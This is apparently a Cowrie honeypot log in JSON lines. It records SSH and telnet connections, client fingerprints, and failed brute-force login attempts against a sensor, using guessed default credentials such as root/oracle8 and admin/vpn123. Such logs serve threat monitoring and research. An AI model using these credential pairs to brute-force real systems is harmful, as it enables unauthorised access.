{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:d8:a6:f6:e4:37:65:0a:9c:ad:8b:0f:d2:a2:8a:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS7PKE6ZRSmrbcpieaLvb6nidEHDm+EJoTD2ndLHsJvAg6Y+ZC8FNlpADlkHRS+lPLP0tLpkry4zezNpjwlcrPv1eXTul6Y25SDq+0WBdd3NN9J/7Jg0DIwju/MFMxuznAYoYuEmL8IG1cdaiuFtPCWk8wjwWJsT/hAn8z0/SXqvCBED4WCLIfrIHzTSUxdi8QMlsVb3pE2PKiuBo+GtKWgVczxs5DPkZWNi104X5h5aQD5VN7G5z155Ir4p+YXvbvTOg9a67S1Urhbh2uS/BVpl84iTmmj74Oa/pApNcpAAieKOPL4ZVoj/zSozzxl5YkqvNX1HUNO9egSiYlPNlh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:d8:a6:f6:e4:37:65:0a:9c:ad:8b:0f:d2:a2:8a:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.504212Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:d8:a6:f6:e4:37:65:0a:9c:ad:8b:0f:d2:a2:8a:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS7PKE6ZRSmrbcpieaLvb6nidEHDm+EJoTD2ndLHsJvAg6Y+ZC8FNlpADlkHRS+lPLP0tLpkry4zezNpjwlcrPv1eXTul6Y25SDq+0WBdd3NN9J/7Jg0DIwju/MFMxuznAYoYuEmL8IG1cdaiuFtPCWk8wjwWJsT/hAn8z0/SXqvCBED4WCLIfrIHzTSUxdi8QMlsVb3pE2PKiuBo+GtKWgVczxs5DPkZWNi104X5h5aQD5VN7G5z155Ir4p+YXvbvTOg9a67S1Urhbh2uS/BVpl84iTmmj74Oa/pApNcpAAieKOPL4ZVoj/zSozzxl5YkqvNX1HUNO9egSiYlPNlh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.508682Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:18.598710Z","src_ip":"151.236.216.61","session":"f118fe12a2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.703972816467285,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:22.520957Z","src_ip":"128.199.8.54","session":"438a860d5513","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.84061574935913,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:24.310414Z","src_ip":"212.55.149.117","session":"7a76b60d807e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38374,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c173a9e8ef4","protocol":"telnet","message":"New connection: 128.199.8.54:38374 (159.203.135.109:23) [session: 1c173a9e8ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:28.018317Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54070,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c86e0b66ca","protocol":"ssh","message":"New connection: 78.83.249.54:54070 (159.203.135.109:22) [session: 42c86e0b66ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:28.605104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:28.608799Z","src_ip":"78.83.249.54","session":"42c86e0b66ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.7.26.53","src_port":44360,"dst_ip":"159.203.135.109","dst_port":23,"session":"e995dfb8051a","protocol":"telnet","message":"New connection: 27.7.26.53:44360 (159.203.135.109:23) [session: e995dfb8051a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:28.697958Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:28.732295Z","src_ip":"78.83.249.54","session":"42c86e0b66ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123","message":"login attempt [mysql/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:29.246519Z","src_ip":"78.83.249.54","session":"42c86e0b66ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:30.371812Z","src_ip":"78.83.249.54","session":"42c86e0b66ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.56495475769043,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:31.421391Z","src_ip":"128.199.8.54","session":"1397a7bf9e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49254,"dst_ip":"159.203.135.109","dst_port":23,"session":"695e79eacd11","protocol":"telnet","message":"New connection: 128.199.8.54:49254 (159.203.135.109:23) [session: 695e79eacd11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:34.233276Z"}
{"eventid":"cowrie.session.closed","duration":33.38461709022522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:34.765632Z","src_ip":"128.199.8.54","session":"ea9a59115b63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.96902680397034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:38.926651Z","src_ip":"128.199.8.54","session":"7f5f8657ebff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"b438f288fb80","protocol":"telnet","message":"New connection: 212.55.149.117:39528 (10.17.0.5:23) [session: b438f288fb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:41.450616Z"}
{"eventid":"cowrie.session.closed","duration":12.928856372833252,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:41.626713Z","src_ip":"27.7.26.53","session":"e995dfb8051a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00244331359863,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:42.908776Z","src_ip":"190.89.44.90","session":"b8f6a98c31e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":25405,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b511fb97ede","protocol":"telnet","message":"New connection: 212.55.149.117:25405 (10.17.0.5:23) [session: 4b511fb97ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:43.119936Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39948,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99f79ba8e9a","protocol":"telnet","message":"New connection: 128.199.8.54:39948 (159.203.135.109:23) [session: d99f79ba8e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:26:57.732452Z"}
{"eventid":"cowrie.session.closed","duration":33.385709047317505,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:01.403943Z","src_ip":"128.199.8.54","session":"1c173a9e8ef4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":118.2653796672821,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:06.760023Z","src_ip":"212.55.149.117","session":"f72bda552f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.701050996780396,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:06.934198Z","src_ip":"128.199.8.54","session":"695e79eacd11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60674,"dst_ip":"159.203.135.109","dst_port":23,"session":"04332a862c3a","protocol":"telnet","message":"New connection: 128.199.8.54:60674 (159.203.135.109:23) [session: 04332a862c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:08.084234Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39712,"dst_ip":"159.203.135.109","dst_port":23,"session":"e93ed6827747","protocol":"telnet","message":"New connection: 128.199.8.54:39712 (159.203.135.109:23) [session: e93ed6827747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:10.501908Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":42758,"dst_ip":"159.203.135.109","dst_port":22,"session":"35ee7c9f0a75","protocol":"ssh","message":"New connection: 78.83.249.54:42758 (159.203.135.109:22) [session: 35ee7c9f0a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:20.215942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:20.221027Z","src_ip":"78.83.249.54","session":"35ee7c9f0a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:20.342651Z","src_ip":"78.83.249.54","session":"35ee7c9f0a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vpn123","message":"login attempt [admin/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:20.855656Z","src_ip":"78.83.249.54","session":"35ee7c9f0a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:21.979254Z","src_ip":"78.83.249.54","session":"35ee7c9f0a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.153820514678955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:29.886152Z","src_ip":"128.199.8.54","session":"d99f79ba8e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34332,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ec7f93be76","protocol":"telnet","message":"New connection: 128.199.8.54:34332 (159.203.135.109:23) [session: d7ec7f93be76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:36.324380Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39234,"dst_ip":"159.203.135.109","dst_port":23,"session":"756975203581","protocol":"telnet","message":"New connection: 128.199.8.54:39234 (159.203.135.109:23) [session: 756975203581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:37.683014Z"}
{"eventid":"cowrie.session.closed","duration":32.98243045806885,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:41.066504Z","src_ip":"128.199.8.54","session":"04332a862c3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.460038900375366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:43.961835Z","src_ip":"128.199.8.54","session":"e93ed6827747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39146,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ddf8af1a9f","protocol":"ssh","message":"New connection: 80.94.92.186:39146 (159.203.135.109:22) [session: b7ddf8af1a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:46.473103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:46.583135Z","src_ip":"80.94.92.186","session":"b7ddf8af1a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:46.956281Z","src_ip":"80.94.92.186","session":"b7ddf8af1a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":35962,"dst_ip":"159.203.135.109","dst_port":23,"session":"84b0a55fb5b3","protocol":"telnet","message":"New connection: 69.6.249.0:35962 (159.203.135.109:23) [session: 84b0a55fb5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:47.295890Z"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr123","message":"login attempt [mapr/mapr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:47.579652Z","src_ip":"80.94.92.186","session":"b7ddf8af1a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:49.877060Z","src_ip":"80.94.92.186","session":"b7ddf8af1a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59162,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d9abf87f35","protocol":"telnet","message":"New connection: 128.199.8.54:59162 (159.203.135.109:23) [session: b4d9abf87f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:27:50.374437Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45066,"dst_ip":"159.203.135.109","dst_port":23,"session":"816e2f38578e","protocol":"telnet","message":"New connection: 128.199.8.54:45066 (159.203.135.109:23) [session: 816e2f38578e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:08.835250Z"}
{"eventid":"cowrie.session.closed","duration":33.443889141082764,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:09.768185Z","src_ip":"128.199.8.54","session":"d7ec7f93be76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0924186706543,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:10.775309Z","src_ip":"128.199.8.54","session":"756975203581","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53694,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdae3b747b9a","protocol":"telnet","message":"New connection: 128.199.8.54:53694 (159.203.135.109:23) [session: cdae3b747b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:11.952382Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":59678,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9b32a6a6499","protocol":"ssh","message":"New connection: 78.83.249.54:59678 (159.203.135.109:22) [session: e9b32a6a6499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:13.775699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:13.787012Z","src_ip":"78.83.249.54","session":"e9b32a6a6499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:13.906762Z","src_ip":"78.83.249.54","session":"e9b32a6a6499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle8","message":"login attempt [root/oracle8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:14.416138Z","src_ip":"78.83.249.54","session":"e9b32a6a6499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:15.540369Z","src_ip":"78.83.249.54","session":"e9b32a6a6499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.401277542114258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:18.697089Z","src_ip":"69.6.249.0","session":"84b0a55fb5b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35842,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9a051c6851","protocol":"telnet","message":"New connection: 128.199.8.54:35842 (159.203.135.109:23) [session: 7c9a051c6851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:20.067036Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48158,"dst_ip":"159.203.135.109","dst_port":23,"session":"40046c231aa0","protocol":"telnet","message":"New connection: 128.199.8.54:48158 (159.203.135.109:23) [session: 40046c231aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:22.995435Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50716,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4ca9efc9da","protocol":"telnet","message":"New connection: 128.199.8.54:50716 (159.203.135.109:23) [session: 2a4ca9efc9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:24.182106Z"}
{"eventid":"cowrie.session.closed","duration":34.02426600456238,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:24.398623Z","src_ip":"128.199.8.54","session":"b4d9abf87f35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.227.148.98","src_port":48776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f932b726bef4","protocol":"ssh","message":"New connection: 216.227.148.98:48776 (10.17.0.5:22) [session: f932b726bef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:28:30.934621Z"}
